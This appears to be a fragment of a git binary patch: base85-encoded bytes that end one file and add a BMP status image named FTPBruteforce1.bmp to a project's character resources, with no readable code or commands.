zu%TgP{y+*>2-2txS>;3c_jxGWs>qhu$2zqmjUba$4I)Xco+lYBpu!uM2=89g;Ir2F zTA~O)KSQ}Uzc7gcQSSC%-GQD^3K4q&erpL4H@SeGW=hDzF3-SSoWd(Mx8vIFz3^)p zOpcs}$!BhMlVtL;iFzsWCY|?}b&TPrkfyt=TiQ}C=8Fs8p05L-k|~U*GV!NPkA>#W z9@H8%0`sZV^p&%EWF1_sQ6Svej7S+&DLETEWkyd?Xb``SD)~aZkcThgcdqqY*2CM} z;;%G7?H>BS~JNxb#bxd-lS%=j{LsYBZHd#12>LmGZ#qRqO+a`U-w_|AT~C8l7r@ zSk1rFP>dwm(=TvalFb{8G}&_}Q?k>ujHFQ5xg>(ulZo5DCX~Ru$#nk2(KBfHn@A2# zY5~dHWy(2ba58&2yjcciWaiIcM5$!_&IA-cR|cclzs?2}IU!tfv#iuL=>#fYD@(X! z6H1*1k&(sIqti617d092qY99Nrwe?aM1DR!i&tH`7N7mtdr(b}!&2#@{Ccuwyvj6_ z(o}a24_tUNSHw3P>u6i8PjF^ZsDiaQgx`o$J~Q z+5}CXUyH{Z@P-4SQ20{YHp2^x^UU=HM3V`;;)d(s4~J1?{x6qmn44K*)RPF3T!{vA zQ?8vpeintK?CJL)5NTx|rX5HEEmbyM1Zik$Z@xbjU0km8#dK0EWE}=?S}KZ!>_($P znMP!gJpmAgFQcn;2s(f!NJG-8C{mrvW~USR+3^P7qsW}TI1_)KtGmh4iA*GA;xVF9 zN_3V2Z!#a9hFV;}uivxm_T)4&1v;!Mg(^u{y#d6j2J-xZmM`p_dL}!ein$^I!hcUbK6ODihCF`k)#j?MPBGm)KAFavdGrz01#8DQilpIFwu*m9qjaSbN?nKw7-0#**>azG|hK_xb`f zxNOucW6%BfL7|uX36EZ;0%y{PUs&XooV!~jEQ>S?+X~w4I$|gHJ6H7RUMwDd6v?yC zVC2AKe6OswsbeZr#<7_gvLX`=7o(>^6tF3=O)3(~E&eRS2+OK2)JQhP2~=J(3@y4_ z3NlsrEEVSeisFJS9VZJxl7v%Ay~ycf4I+{3B!a&aC&uR}L+7z+Ljbqjyq&pv2BqvI z+)a#h5=sI;G=q-B=VN~3B~E2JN<m5Y%LR zX?dEQ&)DP-xHQY$EY(xbb?*gfzYGG9uD2>xBj;^z>$uME3;6Q6qEicBt(UNV&1$r@ zwaY{pMn)$c)-F;}h?pGRK7Hmi>d|?4C1;jnuxc3ul`Ph_`Jt85&Onf?Cvf?j9p;{) zb4gVDY&i^4W)#`^>~I;Rk!@r}I+&d1DSHK&1^CUVI!GYX%&~bI#TjMc&j|7~xQSF* z#ZtbEETLFx0G5c^DjjTSGKw;vY1hTg_>z>T+Xq8f-R{L;Pm6Q7Q?bHMbhV&RGm)nZOr~;t zV3B-e`Xr1cs*Yru5#+MTC92M#kXs_1TCgBSuIm_HN@H{}&V1{0BD73TNEWI{F&kuQ zrvk}A!ys2^$ksFs^9eelzly*A)LYSNFG4M)oH2aaNo0G75PW}`5U#tI%hb570Dr)a zlsSoX8r4k7*)k>))2S^)XXx%|%$~GUNtQpP#m%Q3>^A_cJLH(`*qguiu&F zlbQg@LKy{0y%N(!o`xt0W2-4xSY(OzH0FeZA>IAZhxI-polc`K4ON{|3Zgp^I0bUpROi6*uw4G&ii}HFpKwD3b zQ!7YO6_XAzuKL@a&POMNsh;=tyd0o;-R`#4t5$xFUvf7Ydh5d6tR{;@WdtpiiV`04 zC>Jxh@9w(^^(Wx1WD#j(;V;ai&sD-28ve=^5nSHoL8t7Ya|Uhd%+VgivpSB9EMaId z2hu5OePQVAi_#2&b_Gp7KLtn{u_W2JC(QS_aCUSYtu1ZKghs{#_^o7cioHrs;Ks=K z45a>GkqNp=Zcw2C(~R~EFPf2ZuYqJN$$KVHw{;{FlelbiGkj_VUfaK%;~TR7pTxyE zPhPSQ`36x$Wg1arV5wL~VtPTyoRgkJAyn(6iu^M{qB)zlO~2S;T#Nk7BW; zB1@KDx7_Sp9Yqo{z6xLY+=nrK`Y=C>@SRH`o=BjHX(!D*e0pRYJv{@mhmnMnK}fil z1)deni{Z&RxGA}u4Vs!ozMxXRH7L&tOd%;0GR)igI5w{BM=;`L6fdBIc3;J3RisWJ zqg_rjsZuSJbL1mgrjTrze@bb2=5_u%I-4gVQS&oBHJBC(4NAnSg{taxwy+IFg*aN6 zT+9=RY{V%e3v~P<-L_6AXqLmM$YF@6TD6$}=giWDSu60I9YCVLf5pJZ7zcf^=n`fp zM(F*EXr#x`?M`A#M+291tJvDE*+=P2ZUP`uYCu#UN%tj8a?kaA$WCd=% zb~}ps1g1x4kXVT0;tgw1SU7{?(j>C{cP2(7XB$qr*c6Rjq@$Ae(wO8Tl?YWx1ZgUa ztQJI~>O-R9#w_D_hNyO6IEEx0Xf{=48qg4zVpdE8G9Dl#wRd1(dAoeQ;V$HhPo?IE zk1hB3`E9i0b8CIOZoICyyZfuAVRh`^yAMin31K~k+g^Vu)^`{fY$23YGbCgxCMQXX zYK&qvfP=@z@aQu~5oPC<%mCr90-p?m5P~g>;l?HhI4+WO>3*9=CDJmoy)>e}bPD%= z{&qz4S?1#!7ULwzt|pAnmvNNNv;X8GBdmm2EaTMuZT7jbVa+OPbPG?PILQvCfe6+9 zK*%Wyl}j!`V2;-Uxk@@mPQertqhuwyXI=v+7EmVC*JMeW?i`H9l;d;iAscQ# zTmcWAHi{aR&8{o2T$akkA{M5m|8m$&{vjTFj2>}*+jB(#rFZ@I>&UvV8*sQ|3sx)!;*i?Xo;Pn^u)dyk*O9giKy&z>2@{As!^d-nFeG?TlF-dEV5KH=;SUwlZDQKl}`Pk=u(sl#zZg}g6R-JlF358cHz79s4DyL3!kUe##WFth ziEj|~MKe2#;jnhy8mt&xiRqbn3=w9>rWwhM(i+K@vUN{Erxz<%ti(@$bPsj7 z51ZRH{OQ}*q0L%AB0f#1EII-;*%vd3bCxc1p++BYPxT!EnNjuii5Z(2;jv-su#to*N?8 z(|N0I7oQVUB2qh0qoiv^gaos*IlyPK$U7S(v?QDSb(Y*9L6%>)Ejs?PEr;foFvpa! zedlgeN?9B^e2APtM|*ECx>l}m<`?3WBeRo}mqbrI!u)!E+jC6;>h@Q^?e~LC;SXmM zY453nM`2W=c>UEq`2Ba^1T{U2Jelny`$zD#?><0cXJ7@5`KzzljVpJogHg{q!@1R( zhM7bKPo7xB7yjwTPCk@Ic z92Ms9TE50uBD5-GniBm^HIEJ~EM<{N%ZZ*AWDlbZ-ZXTXnl|C3Mt4j7z-o#SFLU!X zIua#bnM#8s&EMIJ#cDG?@#TG(%xYLj&!9;bbuj1qZ5uwnhH$`zws454CI~;dhDmjh z&GNZO>8kZ2g-DgD(Iz=1S0E=T*#^|Wa`CUdC(dG~;Kq*2UrD&nVSIQPiC7w@&xZ}W zcJdiC=fJDE>8anC*njWxK||-UJ=YY_Xz5+sW9s^~exKhXwQdY{;ONj%Mgk4xYsQ`T zJch5|wHN6U@b`{^2%*kyJ-#6gn~#%t26imMJj~&A?4v}HRfrf%KW~_ z&nP0|uEB#WIzuL!yej3R3Xf5OrRDg{Sw?)G4nY)P%JO_>1K!#UMORVx%_N=>h!(K-G2Vsb5;Qj zJ(TO}?!2a6uXnl0?C0la8Pz5Z96W=ko*l;#GW;@~{SW@&y?FC$cSFm~!X~kkt<@Eo zHkBowWzDJJQK;HDdS)EclyekN`1N<*iVyzot!Qsz?l0GH|J@H`K3=0^7`XH9dqDYt z9amotjfV13_lG(b&U#OE=H!CtT^ND_dT))C3?NA(|hL7Q)p}VV*T3H zg!wvt@{>ofkdV5)2GPZX2OfR|kL`Ps@Od>EbgPrI<=ov+cLxlYj-_}Ex{#<+9#rgP z+Efs{f)O9ux?2!w@iX$85$Wn zp3qp=JqWjTp~T!@;qP)xS5k>o(>1j7+2ozF&#+dm-Je+)J+I>d&)EUk8b-M1nAc@r z;c>g$+&-V`4Mng-aV+Ok}#Z!s4N3SCd>Nzd+G2s zNENnXCVwh9H*{X7ho6rFAUSh3XL?&_bln&TghOpGU7D&}&WV}^p-}So)jKyc`sZOX zvTM}GfBVI+;Ip6q0ZtB$VC|Zf_%FA=9k;#pO}PG=tFZl|&A9f8U3lo>$Jsf}sFC?! zN?rVgFMgc{s-THF`HFSDxMckbj1G^Gfmbm(yNDm$^$@=Kt)C*9%b|PK#qc)|kOVe4 zN6dLU2Aq0*?uI*E9Mt7d>;vEoe}R{foYP>?>uk_U%&eRo;W^( zp?R9djyOljHwqc_(}_IJL}P^pqr=j0nmCau>4nkH?}+a2TvI8U^AUachZI&ww0!HOWD|_rm&Rcg{o*;K9!Ea6?~)+pOIZP=cPSY z74W~>wr$4BMr3DGTk9WrB9UwB)tb5gk;ma>KJ9D*p1%KksLY%~W@ZHU{P2fZj4q&m z?OJTVWCuco^GZ>OTNSZH9*c=(74XD~8GPx!r(w0U6WUG8PfkP2=xC#ay8ZffymtmU zLiHh=D+$rdJNP|7!` z5Q>uG0i{A3Uh<4;Q7WN$$m2ZxzG)O_;G8UIG2K|KEvtY-d2%C5Y&NgNPi_$KBn&eSb!;?(z%B?T_CX?eg#H=Xr;63w!7%k6SG(OF<*%Z{R2 zYz8Ykn-TPyaM9>qUc8M{8_{L!G=7{shQyE#pvysEN%9chFH6+O5glWdWd}Gs5rZlY z(7W1sNZF_=(sp5f8ZkN{nEj0ZgIP;$k@mkgekvdWNhd54JcCupps$KDbAu% z+3yd_Pq{db&;0claMw?tMy678Ds<)8PZf5AFydBrlE|+(b-9e@ogO-k4I9_OrX$IA zttwfvVR>-(BTu17qFJGVzxKDcp~pXiW;=-$T@l=L<4rhxd z=Xi&AY;+NMSf_MMQw`rPMI+ISP()ou9nVIu)tlSIY0L8?%YFDqmR=4f# z*<68we3G{yW1?q`|yRm`xP%;ZOV(zIDf5LbQez{oPpA--%v!{<^h; zICkbNEW-^qEVQ+BVsc>-b?WFmh4T2qEWCaXe8Dgy*diTs;jx3KX@~~i_0~>YypkQ6 zID>Y(46m9;Hob@&Uw;eky8AI_d)Z)T2Ub%dgp@MEYROrG=0yq$pHYzo9x_5GCw88=+I2DjdDF>ZU~EAiTEwqfUHsXf>YkB7{i zaxjytpiojNVWsR0JDH?T7Od9Q2IAQame?1a0|S(Rq9!OCX>8d&#lJze+KHSDhr>h# zDhJ*#TP{A3jgFm{Dq=4T0^nrB6YQ=8np>{ZEz>hLHi~p2imP^Bgs_iaE=zsRsFfAE zy5T}|YbSpDz3;>;uecojoo(o%lpE-5Cjsil!84{pxq>=D3G|7Q?R{WRO}GWj89@}st6ZhwWo;= zMB`hvG_*=`d9x^~pG`JbD@vLBnls9%dxAK8W)fpW53k>cx7>U^%DE)wW~MPYHI7-P zx@0m2w{4)mrwzRwP1w45J#M=BCT!cX8D~zNAfzXd)LK6edyk$g0?L3JTp z#+U?11!S&7g{dk?#z`=ln&ikmM-_St^~zu_FiZmN&lvjdI#4lWtZkkhAl8TAGLqDY$AmBxh&g*8OnPIMi%-@Y&-? z5l;I$DB+YMQYpf(JB*dUS++&UHi*RrQ&dT%Zm$RM=&>ox zlr84$2#%Z>#!nx81`q5%fdfNx&iTZrClZ*NPhx2)g;Fwu5)IxG)X?8<;hJ4*v0-%= z4j(+sh?YgCcQgd0YRI9al zt9r-zI9T!pbAYD6s-ouibTkb8GQU5h%aQ8wSd`MZh|TL($fi43jOr>0RhcAE>hmlt zL>YT>+NYF)v++0IxD%uCA{{})%APR$rG{A=JJ{L_yD5UcHJebV7>K7UL=zL!u{5G3 zS(25+dw=sX63!9m{I{&tQZ16PstK!gE57-Iy(C{IB9Sh1cSOkkWh9SE-teNT1W=%n zDDK8opKJv z5@&k)=_jy2bZCtP>A;#JImgH6$rVgzp{VBeBUdTYA*yI)dM7qq=#4iJwI*Swvpn*yQWZrk((tQhl&Ie%PT93fU++e1`L$T4@mtqeRZ2B2f(@gEjc#*Pf;Uyy)m0 zKp+%AO|ki!79Lj#OE@r{!E9b7p;P!Ay5n-_ES8)ofTHJX1O*dloib2f8Gx*LOcjEZ*arPY%fRHOK zMXj8!*^tAiF5NibtkOL-SHy~~m%s@5Xbm}nra`T5!$qB(PbU!!`*7g#A0S*G#+_gO zEtHlXrbhhuqpO40>W>6{QsY*O3=gBpU02IT6B2!SNB-KDm z2zylcNg{9i)z{(jU0cu^w8<;T7aA2bG#O2lgCZ(8dUgsA>^p{Mj-A3{dC>M)_4p6}#JR}}*j_LMkXBllC|2~~VXxcQ?Y7+OR}2iQi_s`M zzl1{F!UKDcnYJZ5^)_Enb`1?K(=6-QMzns^M98nQLKgf0C(eB~4G#?BQ!gtQXsxfo2Hku94+ z_`EhzA#9}46H#%=)|I&BhTXVg!zyTWtZK1_86ubJYr-iK_dqB@KH|fnQ$qxJ6>{PU zR6kRXjn>{3L?ZdOP(hMc2}h!VoQ<4FBvE9l=<4Z)LViGQkkksUyI$y{WkrR)-2N|a zFDL>?%PoxNG&6L{(b2bppI?XNrvfqE(0xIK+PV;EZbzuK4XI+5DItap z-9CKlZ~hEcZkke5ja!$zb$Hl|T_Ha)yhiKXZKqEpwdaWo1KfopaET_ z1$^Y)uSc*vf)+gvH*%DMC3Zv|wkLw)r>U{Y2SlN_4GcI7Km__5d|EkrRwr=DRxa9} z9Z4dln`mqAqhqunTeY#2_cC=f0iHIr_OD|{Z=mk>6LR|zZtXxzM>j%EZSYX*n{)<^ z#+Vo%N02bTv)_x$*7d+(E-oo`EGLtR zD3@7>QcS|5R&dEh>v8hovN4sM0=WWm zu>{VXKJBbfmLqDKNd%p#;e2jBz8L*>HcmbJ0=Dy&0vbanAAUBGT>Qww;@tkKBD6?H zkkOVeRZz%f*}+w`H%&CF4l~}j^2JF1{S8@6EZ^EWs*C0q^XX_0VY0x4gj6#emfY#G2 zs3eo7+k*nhAMb=>f*fMgI%;xCFD;0B9y^5F-t}j=?25~-bjy23X6N)Byy9XDRJ%NhQS=cJ%Cc?K`3PU5B#@dT;!$vbL9p2e9N z27rY{%D>U!Q97oF$WuZO^S|t|R7ebn0%!DMHG8gqU$AyQIY52n*+-sSn4AA-E}fZ@ znX>MlKI(o(g5}4)6QgKexfN=-4;4y3xsoMzJZ##=LtQLUrX#i(rO|87q7Yjrbd!Oj z#;~CT(@3aH{--%}?PO3=53pK7I+x;=CScc~TT)(zXhEp1N(p-YSE-ZGDN@0Ykj}Tx z&rZUk@%(xnZOtv9bjMeJ^a%dyOW(uWZrOpiy=FJeatcjevUfR3-dHYTC22^b@ujR> zt*Q`BJdh3c~rFoMlLV;Ww8>nam}K#}=KrfWD4) zbapf4Fh_syNB5F_Yk12WZYDA;I8{ibutm@>2Sujg4+fm^eHpHm@^^CTsLbqCsCab# zT<7OnGMH@7sk`Xryt&Q7C9qr|c)k~AHAk4;eT zr}32^K8RzJ8PsJ>p1TP(=I0EfOAN6vKZhdWwq6n9M?;e@7&IOO#;F9_U^L7BWrVNB z-%BxyDpQ7xvPii&sR<-!0t!&bpo=_*?8TGcO^pmWD}ArnzQw6c_~oyB6(>(l;J1GB zSFwF0D5&voew z+RnQJNGk@7RL}^A-InK)Kp?2e`9JY=3PY2Vc;@&JhUW4Znopx(gq`vIwiWBJcFPWQ z^{;SXkP+b2B$mURWjJrW*Wih#_hbK|BaTyj{6qhh6lKAQWKkSa5=NGJIeNY< zhtm_`n5yIeY;guT7AHmaUd-kBTA5cgF<(@1bY$A$9O6VpqFRCcVUdwv6;xqrtn(Sx zY*>$`wq|GINlM=^t)xbW&i+tUl#fq7d;fXcC-{Pn1pa%iWAMr?{VUgfE)Wb{rZRbt zPn^NR;wa*&1l-=`BlClyHuMjygh>uitFc4Hh;$YqLD@`-(3_Q0wvb9BP{?LbBkaps zPbusqYDyqjWzLlGa~V95gB+zYnbZ%G=A2nTBT1zZaTY-bS;w1<&N>G~2t_RLXF->S zO9oo-mmmIZxT|!4hMWOVMOs!r+fCTB_eorP&85uud1!nFajr5W*hM0D`sqV-1U`@M zLX1T6$EOx?$76>b`6n$;#M3+>r<$tQYoc#OKU}^LOxx|GD?z8&Qfw)gPJKBaPyfTh z**$Wc?0IV!1OcSAhK)qNWW>pE`x~m#<_kBet=-+|U$p_v9RuVB{fvMv8qQ$Ou9QlJ z{8T2L%*xVj+L8gSDYE=3NX_5ITpg0dla}SI9+HU@jciVgDaMs$-p<9p%K{52`&M>% zLWO@XI%VrbWytU3XR>2RVpy>~DC)AWAK1EP5L?%;gl*7a=v}gUNH(&3?YnnlXlxqW zHm@fUEu)kxI%HLbb1Q`cvdJuYfeV?c%2d{hA3XXj=F>zErMTSUWVIW(j zu?6NC%`+3@&d_sTZx`h`A)S2Wv8N8=EB|yqe(T-0BjV9WK8w6xfX3rJs3N3#SbT|p zQt#J1%{Vj_!<~DNqG|`J>BEe27ad8#=B?Y{^-<~2X{7!^iD(y(C!R^pFMPX_$^A{f zn7una`pgA6OXz~7fPdAL!NKdzlv(I@`-3}t9#3z>DIiF7S1b<~%JD-;Vt!(RiV=@7 z7H?Is?t~U9HMIuA{wsq`&DVN-zU_wF)yxz@QLeZcp}JbD$+^}J?8_x2OyFLcb95b3 z!O#CK?caWJDL^TELA^M7>=4G!97l@@cy3t8_DJ`4HV#TVp)pD(p zt=CJ@QmwW>U8p~q$)Y6xWqVfHF3)zu zFbAj$Z5mnE4Bav`!$s}yp(|K)1f2>%`B%2*mnK=DEa8{upHlcmQOo5z!9ZwX1qO5R znM3r$xd{aADjidneS1+!MDZ(EUW`{?xq~FJg44s}_|{zyqoX;5PyN@oAsb($veA*K zx$*fs?!kfC6pBr~@I=}Xv2D5-5L;MWYHDgZo-gFSN4(pEtTHw+@mSG$uot2IhjV~` z+ium`2Is=6ZiTFX+pgBDlmec&x`8zC90mKwH+ArD#f2ak8MM@dAxrvD{nwI%fq{_$7$H2~W zZU4a?;D6f`?B1ly#>|OEKZ#|g$JKH zf|*PS8P!0~#;vehdWq+1DLFp+kMh}bv*VvmO&povUoRNU|9kB}s{{NJ?N+Vh(#DS7 z=Jr1i1^t(0av3`m3MfNo&ti7y6ujk>Q){^H@}NrM5TY`XLe<&S5~LVLu5Q2;ZpPrI zjc8bIB80m%H#PO3l1lu!+E8Ilh@^p+MCAXxy^H|=PU~26O_SkkzOt#SI_inv?4#7Y$ ze2Fg*xQW+m4Z~viW0fOI;&H&*-*Y);7!Ix{hgKi*8r}S)G!O$1?Rw^;orBd?KIE?io84J_+3Mg0JI$ zq1($2@H|^r*G`wx>LOAL4^xumF(wKMF=eU<8K%Bp+Y~fS;cqPzp%G zrEsZ)D}Xa_sT}HNLi`0J4;?xL_beI%t_H%GIB_CG0e-(j6yq`$B8z4bkc;0;Oj%?T y29KG-!oonuzyk`|kw7*?7UEhUX=`f>XCpI!L5HRimw{;Jk8(#tU^E1X4*>v^y(@$O literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce1.bmp b/resources/default_config/characters/BJORN/status/FTPBruteforce/FTPBruteforce1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..378babe74387fedc1ec45ec6fec4d4f296a7d7e0 GIT binary patch literal 18462 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 